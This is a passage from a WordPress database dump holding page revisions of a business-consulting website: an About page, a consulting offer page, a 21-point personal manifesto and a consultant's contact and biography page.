nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\r\n\r\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-revision-v1', '', '', '2015-10-09 08:23:59', '2015-10-09 15:23:59', '', 2871, 'http://whc.fbdev.org/2015/10/2871-revision-v1/', 0, 'revision', '', 0),
(3042, 2, '2015-10-09 10:26:23', '2015-10-09 17:26:23', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5 –$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;">Learn more about my programs here.</span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, and you feel I might be a good fit to help you achieve your desired outcomes, lets have a conversation.</span></h2>', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 10:26:23', '2015-10-09 17:26:23', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3043, 2, '2015-10-09 10:35:36', '2015-10-09 17:35:36', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5 –$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;">Learn more about my consulting programs here.</span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, and you feel I might be a good fit to help you achieve your desired outcomes, lets have a conversation.</span></h2>', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 10:35:36', '2015-10-09 17:35:36', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3044, 2, '2015-10-09 11:01:19', '2015-10-09 18:01:19', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;">Learn more about my consulting programs here.</span>\r\n</strong></h1>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1>What clients say about Thomson Dawson!</h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, and you feel I might be a good fit to help you achieve your desired outcomes, lets have a conversation.</span></h2>', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 11:01:19', '2015-10-09 18:01:19', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3046, 2, '2015-10-09 11:07:46', '2015-10-09 18:07:46', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg"><img class="alignnone size-full wp-image-3008" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg" alt="White Hot Center Manifesto" width="680" height="350" /></a></span></h2>\r\n<h1><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. Presented here are my guiding principles that form my philosophy of life and business success and directs all my activities in my consulting practice.</span></h1>\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must serve others</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">meaning + contribution = a life of significance.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2015-10-09 11:07:46', '2015-10-09 18:07:46', '', 136, 'http://whc.fbdev.org/2015/10/136-revision-v1/', 0, 'revision', '', 0);
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(3049, 2, '2015-10-09 11:11:57', '2015-10-09 18:11:57', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg"><img class="alignnone size-full wp-image-3008" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg" alt="White Hot Center Manifesto" width="680" height="350" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. Presented here are my guiding principles that form my philosophy of life and business success and directs all my activities in my consulting practice.</span></h2>\r\n<h2><span style="color: #000000;"><strong>1 as you think, so it is</strong></span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h2>\r\n<h3><span style="color: #000000;"><strong>2</strong><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><em>\r\nnever desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h3>\r\n<h3><span style="color: #000000;"><strong> 3</strong><strong> you must do what matters to you, and what you do must serve others</strong><em>\r\nmeaning + contribution = a life of significance.</em></span></h3>\r\n<h3><span style="color: #000000;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h3>\r\n<h3><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h3>\r\n<h3><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h3>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2015-10-09 11:11:57', '2015-10-09 18:11:57', '', 136, 'http://whc.fbdev.org/2015/10/136-revision-v1/', 0, 'revision', '', 0),
(3048, 2, '2015-10-09 11:10:09', '2015-10-09 18:10:09', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg"><img class="alignnone size-full wp-image-3008" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg" alt="White Hot Center Manifesto" width="680" height="350" /></a></span></h2>\r\n<h1><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. Presented here are my guiding principles that form my philosophy of life and business success and directs all my activities in my consulting practice.</span></h1>\r\n<h3><span style="color: #000000;"><strong>1 as you think, so it is</strong></span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h3>\r\n<h3><span style="color: #000000;"><strong>2</strong><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><em>\r\nnever desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h3>\r\n<h3><span style="color: #000000;"><strong> 3</strong><strong> you must do what matters to you, and what you do must serve others</strong><em>\r\nmeaning + contribution = a life of significance.</em></span></h3>\r\n<h3><span style="color: #000000;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h3>\r\n<h3><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h3>\r\n<h3><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h3>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2015-10-09 11:10:09', '2015-10-09 18:10:09', '', 136, 'http://whc.fbdev.org/2015/10/136-revision-v1/', 0, 'revision', '', 0),
(3085, 1, '2015-10-09 14:11:56', '2015-10-09 21:11:56', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<span style="color: #ff9900;"><em><strong>Leadership</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Lifestyle Design</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Value Creation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em></span>\r\n\r\n<span style="color: #ff9900;"><em><strong>Demand Generation</strong></em></span>\r\n<span style="color: #ff9900;"> <em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em></span>\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\r\n\r\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n<br />&nbsp;\r\n<br />&nbsp;', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-revision-v1', '', '', '2015-10-09 14:11:56', '2015-10-09 21:11:56', '', 2871, 'http://whc.fbdev.org/2015/10/2871-revision-v1/', 0, 'revision', '', 0),
(3066, 1, '2015-10-09 12:52:37', '2015-10-09 19:52:37', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:52:37', '2015-10-09 19:52:37', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
